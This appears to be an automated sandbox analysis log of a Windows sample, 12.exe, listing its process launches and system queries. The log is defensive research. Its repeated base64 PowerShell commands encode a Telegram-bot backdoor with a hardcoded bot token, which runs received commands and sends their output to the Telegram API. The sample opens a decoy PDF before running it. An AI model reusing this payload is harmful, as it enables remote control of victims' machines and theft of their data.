Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ			Jump to behavior

Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "start-process 'c:\users\user\appdata\local\temp\/file.pdf'; powershell.exe -e 'jabuag8aawblag4aiaa9acaaiga3aduanqa0admamaa3adyanga5adoaqqbbaeuaxwbsag4auqbuafkauwbyahyadqbzageaswbsagsacaboahiadgayaeqadgbzahuaqwa3aegaaabjadaacwawaciadqakacqavqbsaewaiaa9acaaigboahqadabwahmaogavac8ayqbwagkalgb0aguabablagcacgbhag0algbvahiazwavagiabwb0ahsamab9aciaiaatagyaiaakafqabwbraguabganaaoajabsageacwb0aekaraagad0aiaaxadiamwanaaoajabzagwazqblahaavabpag0azqagad0aiaayaa0acgakagkazablag4adabpagyaaqblahiaiaa9acaalqbqag8aaqbuacaakaaoadqaoaauac4anqa3ackaiab8acaarwblahqalqbsageabgbkag8abqagac0aqwbvahuabgb0acaanqagahwaiaalacaaewbbagmaaabhahiaxqakaf8afqapaa0acganaaoazgb1ag4aywb0agkabwbuacaasqbuahyabwbragualqbcag8adabdag0azaagahsadqakacaaiaagacaacabhahiayqbtacaakaanaaoaiaagacaaiaagacaaiaagacqaywbvag0abqbhag4azaanaaoaiaagacaaiaapaa0acgagacaaiaagahqacgb5acaaewanaaoaiaagacaaiaagacaaiaagacqacgblahmadqbsahqaiaa9acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuacgajabjag8abqbtageabgbkackadqakacaaiaagacaafqanaaoaiaagacaaiabjageadabjaggaiab7aa0acgagacaaiaagacaaiaagacaajabyaguacwb1agwadaagad0aiaakaeuacgbyag8acgbbadaaxqauaeuaeabjaguacab0agkabwbuaa0acgagacaaiaagah0adqakacaaiaagacaajabyaguacwagad0aiaaiafsajabpagqazqbuahqaaqbmagkazqbyaf0ajqawaeqajqawaeeaiganaaoaiaagacaaiaakahiazqbzahuabab0acaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsajabyaguacwagacsapqagafsacwb0ahiaaqbuagcaxqakaf8aiaaracaaigaladaaraaladaaqqaiah0adqakaa0acgagacaaiaagagkazgaoacqacgblahmaiaataguacqagaciaigapahsadqakacaaiaagacaaiaagacaaiaakagwayqbzahqasqbeacaapqagacqadqbwagqayqb0aguaaqbkaa0acgagacaaiaagacaaiaagacaaywbvag4adabpag4adqblaa0acgagacaaiaagah0adqakacaaiaagacaaaqbmacgajabyaguacwauaewazqbuagcadaboacaalqbnahqaiaa0adaaoqa1ackaewanaaoaiaagacaaiaagacaaiaagagyabwbyacaakaakagkaiaa9acaamaa7acaajabpacaalqbsahqaiaakahiazqbzac4atablag4azwb0aggaiaavacaanaawadkanqa7acaajabpacsakwapacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiaguazwbpag4aiaa9acaajabpacaakgagadqamaa5aduadqakacaaiaagacaaiaagacaaiaagacaaiaagacqazqbuagqaiaa9acaajabiaguazwbpag4aiaaracaanaawadkanaanaaoaiaagacaaiaagacaaiaagacaaiaagacaaaqbmacgajablag4azaagac0azwb0acaajabyaguacwauaewazqbuagcadaboackaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaakaguabgbkacaapqagacqacgblahmalgbmaguabgbnahqaaaanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabkageadabhacaapqagaciaywboageadabfagkazaa9acqazgbyag8abqamahqazqb4ahqapqaiacaakwagacqacgblahmawwakagiazqbnagkabgauac4ajablag4azabdaa0acgagacaaiaagacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acqazabhahqayqaiaa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajabvafiasqagad4aiaakag4adqbsagwadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagah0aiablagwacwblacaaewanaaoaiaagacaaiaagacaaiaagacqazabhahqayqagad0aiaaiagmaaabhahqaxwbpagqapqakagyacgbvag0ajgb0aguaeab0ad0ajabyaguacwaiacaadqakacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabv
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -e jabuag8aawblag4aiaa9acaaiga3aduanqa0admamaa3adyanga5adoaqqbbaeuaxwbsag4auqbuafkauwbyahyadqbzageaswbsagsacaboahiadgayaeqadgbzahuaqwa3aegaaabjadaacwawaciadqakacqavqbsaewaiaa9acaaigboahqadabwahmaogavac8ayqbwagkalgb0aguabablagcacgbhag0algbvahiazwavagiabwb0ahsamab9aciaiaatagyaiaakafqabwbraguabganaaoajabsageacwb0aekaraagad0aiaaxadiamwanaaoajabzagwazqblahaavabpag0azqagad0aiaayaa0acgakagkazablag4adabpagyaaqblahiaiaa9acaalqbqag8aaqbuacaakaaoadqaoaauac4anqa3ackaiab8acaarwblahqalqbsageabgbkag8abqagac0aqwbvahuabgb0acaanqagahwaiaalacaaewbbagmaaabhahiaxqakaf8afqapaa0acganaaoazgb1ag4aywb0agkabwbuacaasqbuahyabwbragualqbcag8adabdag0azaagahsadqakacaaiaagacaacabhahiayqbtacaakaanaaoaiaagacaaiaagacaaiaagacqaywbvag0abqbhag4azaanaaoaiaagacaaiaapaa0acgagacaaiaagahqacgb5acaaewanaaoaiaagacaaiaagacaaiaagacqacgblahmadqbsahqaiaa9acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuacgajabjag8abqbtageabgbkackadqakacaaiaagacaafqanaaoaiaagacaaiabjageadabjaggaiab7aa0acgagacaaiaagacaaiaagacaajabyaguacwb1agwadaagad0aiaakaeuacgbyag8acgbbadaaxqauaeuaeabjaguacab0agkabwbuaa0acgagacaaiaagah0adqakacaaiaagacaajabyaguacwagad0aiaaiafsajabpagqazqbuahqaaqbmagkazqbyaf0ajqawaeqajqawaeeaiganaaoaiaagacaaiaakahiazqbzahuabab0acaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsajabyaguacwagacsapqagafsacwb0ahiaaqbuagcaxqakaf8aiaaracaaigaladaaraaladaaqqaiah0adqakaa0acgagacaaiaagagkazgaoacqacgblahmaiaataguacqagaciaigapahsadqakacaaiaagacaaiaagacaaiaakagwayqbzahqasqbeacaapqagacqadqbwagqayqb0aguaaqbkaa0acgagacaaiaagacaaiaagacaaywbvag4adabpag4adqblaa0acgagacaaiaagah0adqakacaaiaagacaaaqbmacgajabyaguacwauaewazqbuagcadaboacaalqbnahqaiaa0adaaoqa1ackaewanaaoaiaagacaaiaagacaaiaagagyabwbyacaakaakagkaiaa9acaamaa7acaajabpacaalqbsahqaiaakahiazqbzac4atablag4azwb0aggaiaavacaanaawadkanqa7acaajabpacsakwapacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiaguazwbpag4aiaa9acaajabpacaakgagadqamaa5aduadqakacaaiaagacaaiaagacaaiaagacaaiaagacqazqbuagqaiaa9acaajabiaguazwbpag4aiaaracaanaawadkanaanaaoaiaagacaaiaagacaaiaagacaaiaagacaaaqbmacgajablag4azaagac0azwb0acaajabyaguacwauaewazqbuagcadaboackaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaakaguabgbkacaapqagacqacgblahmalgbmaguabgbnahqaaaanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabkageadabhacaapqagaciaywboageadabfagkazaa9acqazgbyag8abqamahqazqb4ahqapqaiacaakwagacqacgblahmawwakagiazqbnagkabgauac4ajablag4azabdaa0acgagacaaiaagacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acqazabhahqayqaiaa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajabvafiasqagad4aiaakag4adqbsagwadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagah0aiablagwacwblacaaewanaaoaiaagacaaiaagacaaiaagacqazabhahqayqagad0aiaaiagmaaabhahqaxwbpagqapqakagyacgbvag0ajgb0aguaeab0ad0ajabyaguacwaiacaadqakacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acq
Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "start-process 'c:\users\user\appdata\local\temp\/file.pdf'; powershell.exe -e 'jabuag8aawblag4aiaa9acaaiga3aduanqa0admamaa3adyanga5adoaqqbbaeuaxwbsag4auqbuafkauwbyahyadqbzageaswbsagsacaboahiadgayaeqadgbzahuaqwa3aegaaabjadaacwawaciadqakacqavqbsaewaiaa9acaaigboahqadabwahmaogavac8ayqbwagkalgb0aguabablagcacgbhag0algbvahiazwavagiabwb0ahsamab9aciaiaatagyaiaakafqabwbraguabganaaoajabsageacwb0aekaraagad0aiaaxadiamwanaaoajabzagwazqblahaavabpag0azqagad0aiaayaa0acgakagkazablag4adabpagyaaqblahiaiaa9acaalqbqag8aaqbuacaakaaoadqaoaauac4anqa3ackaiab8acaarwblahqalqbsageabgbkag8abqagac0aqwbvahuabgb0acaanqagahwaiaalacaaewbbagmaaabhahiaxqakaf8afqapaa0acganaaoazgb1ag4aywb0agkabwbuacaasqbuahyabwbragualqbcag8adabdag0azaagahsadqakacaaiaagacaacabhahiayqbtacaakaanaaoaiaagacaaiaagacaaiaagacqaywbvag0abqbhag4azaanaaoaiaagacaaiaapaa0acgagacaaiaagahqacgb5acaaewanaaoaiaagacaaiaagacaaiaagacqacgblahmadqbsahqaiaa9acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuacgajabjag8abqbtageabgbkackadqakacaaiaagacaafqanaaoaiaagacaaiabjageadabjaggaiab7aa0acgagacaaiaagacaaiaagacaajabyaguacwb1agwadaagad0aiaakaeuacgbyag8acgbbadaaxqauaeuaeabjaguacab0agkabwbuaa0acgagacaaiaagah0adqakacaaiaagacaajabyaguacwagad0aiaaiafsajabpagqazqbuahqaaqbmagkazqbyaf0ajqawaeqajqawaeeaiganaaoaiaagacaaiaakahiazqbzahuabab0acaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsajabyaguacwagacsapqagafsacwb0ahiaaqbuagcaxqakaf8aiaaracaaigaladaaraaladaaqqaiah0adqakaa0acgagacaaiaagagkazgaoacqacgblahmaiaataguacqagaciaigapahsadqakacaaiaagacaaiaagacaaiaakagwayqbzahqasqbeacaapqagacqadqbwagqayqb0aguaaqbkaa0acgagacaaiaagacaaiaagacaaywbvag4adabpag4adqblaa0acgagacaaiaagah0adqakacaaiaagacaaaqbmacgajabyaguacwauaewazqbuagcadaboacaalqbnahqaiaa0adaaoqa1ackaewanaaoaiaagacaaiaagacaaiaagagyabwbyacaakaakagkaiaa9acaamaa7acaajabpacaalqbsahqaiaakahiazqbzac4atablag4azwb0aggaiaavacaanaawadkanqa7acaajabpacsakwapacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiaguazwbpag4aiaa9acaajabpacaakgagadqamaa5aduadqakacaaiaagacaaiaagacaaiaagacaaiaagacqazqbuagqaiaa9acaajabiaguazwbpag4aiaaracaanaawadkanaanaaoaiaagacaaiaagacaaiaagacaaiaagacaaaqbmacgajablag4azaagac0azwb0acaajabyaguacwauaewazqbuagcadaboackaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaakaguabgbkacaapqagacqacgblahmalgbmaguabgbnahqaaaanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabkageadabhacaapqagaciaywboageadabfagkazaa9acqazgbyag8abqamahqazqb4ahqapqaiacaakwagacqacgblahmawwakagiazqbnagkabgauac4ajablag4azabdaa0acgagacaaiaagacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acqazabhahqayqaiaa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajabvafiasqagad4aiaakag4adqbsagwadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagah0aiablagwacwblacaaewanaaoaiaagacaaiaagacaaiaagacqazabhahqayqagad0aiaaiagmaaabhahqaxwbpagqapqakagyacgbvag0ajgb0aguaeab0ad0ajabyaguacwaiacaadqakacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabv	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -e jabuag8aawblag4aiaa9acaaiga3aduanqa0admamaa3adyanga5adoaqqbbaeuaxwbsag4auqbuafkauwbyahyadqbzageaswbsagsacaboahiadgayaeqadgbzahuaqwa3aegaaabjadaacwawaciadqakacqavqbsaewaiaa9acaaigboahqadabwahmaogavac8ayqbwagkalgb0aguabablagcacgbhag0algbvahiazwavagiabwb0ahsamab9aciaiaatagyaiaakafqabwbraguabganaaoajabsageacwb0aekaraagad0aiaaxadiamwanaaoajabzagwazqblahaavabpag0azqagad0aiaayaa0acgakagkazablag4adabpagyaaqblahiaiaa9acaalqbqag8aaqbuacaakaaoadqaoaauac4anqa3ackaiab8acaarwblahqalqbsageabgbkag8abqagac0aqwbvahuabgb0acaanqagahwaiaalacaaewbbagmaaabhahiaxqakaf8afqapaa0acganaaoazgb1ag4aywb0agkabwbuacaasqbuahyabwbragualqbcag8adabdag0azaagahsadqakacaaiaagacaacabhahiayqbtacaakaanaaoaiaagacaaiaagacaaiaagacqaywbvag0abqbhag4azaanaaoaiaagacaaiaapaa0acgagacaaiaagahqacgb5acaaewanaaoaiaagacaaiaagacaaiaagacqacgblahmadqbsahqaiaa9acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuacgajabjag8abqbtageabgbkackadqakacaaiaagacaafqanaaoaiaagacaaiabjageadabjaggaiab7aa0acgagacaaiaagacaaiaagacaajabyaguacwb1agwadaagad0aiaakaeuacgbyag8acgbbadaaxqauaeuaeabjaguacab0agkabwbuaa0acgagacaaiaagah0adqakacaaiaagacaajabyaguacwagad0aiaaiafsajabpagqazqbuahqaaqbmagkazqbyaf0ajqawaeqajqawaeeaiganaaoaiaagacaaiaakahiazqbzahuabab0acaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsajabyaguacwagacsapqagafsacwb0ahiaaqbuagcaxqakaf8aiaaracaaigaladaaraaladaaqqaiah0adqakaa0acgagacaaiaagagkazgaoacqacgblahmaiaataguacqagaciaigapahsadqakacaaiaagacaaiaagacaaiaakagwayqbzahqasqbeacaapqagacqadqbwagqayqb0aguaaqbkaa0acgagacaaiaagacaaiaagacaaywbvag4adabpag4adqblaa0acgagacaaiaagah0adqakacaaiaagacaaaqbmacgajabyaguacwauaewazqbuagcadaboacaalqbnahqaiaa0adaaoqa1ackaewanaaoaiaagacaaiaagacaaiaagagyabwbyacaakaakagkaiaa9acaamaa7acaajabpacaalqbsahqaiaakahiazqbzac4atablag4azwb0aggaiaavacaanaawadkanqa7acaajabpacsakwapacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiaguazwbpag4aiaa9acaajabpacaakgagadqamaa5aduadqakacaaiaagacaaiaagacaaiaagacaaiaagacqazqbuagqaiaa9acaajabiaguazwbpag4aiaaracaanaawadkanaanaaoaiaagacaaiaagacaaiaagacaaiaagacaaaqbmacgajablag4azaagac0azwb0acaajabyaguacwauaewazqbuagcadaboackaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaakaguabgbkacaapqagacqacgblahmalgbmaguabgbnahqaaaanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabkageadabhacaapqagaciaywboageadabfagkazaa9acqazgbyag8abqamahqazqb4ahqapqaiacaakwagacqacgblahmawwakagiazqbnagkabgauac4ajablag4azabdaa0acgagacaaiaagacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acqazabhahqayqaiaa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajabvafiasqagad4aiaakag4adqbsagwadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagah0aiablagwacwblacaaewanaaoaiaagacaaiaagacaaiaagacqazabhahqayqagad0aiaaiagmaaabhahqaxwbpagqapqakagyacgbvag0ajgb0aguaeab0ad0ajabyaguacwaiacaadqakacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acq	Jump to behavior

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF73A411E30 cpuid

0_2_00007FF73A411E30

Source: C:\Users\user\Desktop\12.exe	Code function: EnumSystemLocalesW,	0_2_00007FF73A406384
Source: C:\Users\user\Desktop\12.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF73A40EB80
Source: C:\Users\user\Desktop\12.exe	Code function: EnumSystemLocalesW,	0_2_00007FF73A40E494
Source: C:\Users\user\Desktop\12.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00007FF73A40E138
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoEx,FormatMessageA,	0_2_00007FF73A3F6A04
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF73A40E99C
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,	0_2_00007FF73A40EA4C
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,	0_2_00007FF73A406718
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,	0_2_00007FF73A40E844
Source: C:\Users\user\Desktop\12.exe	Code function: EnumSystemLocalesW,	0_2_00007FF73A40E564
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF73A40E5FC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
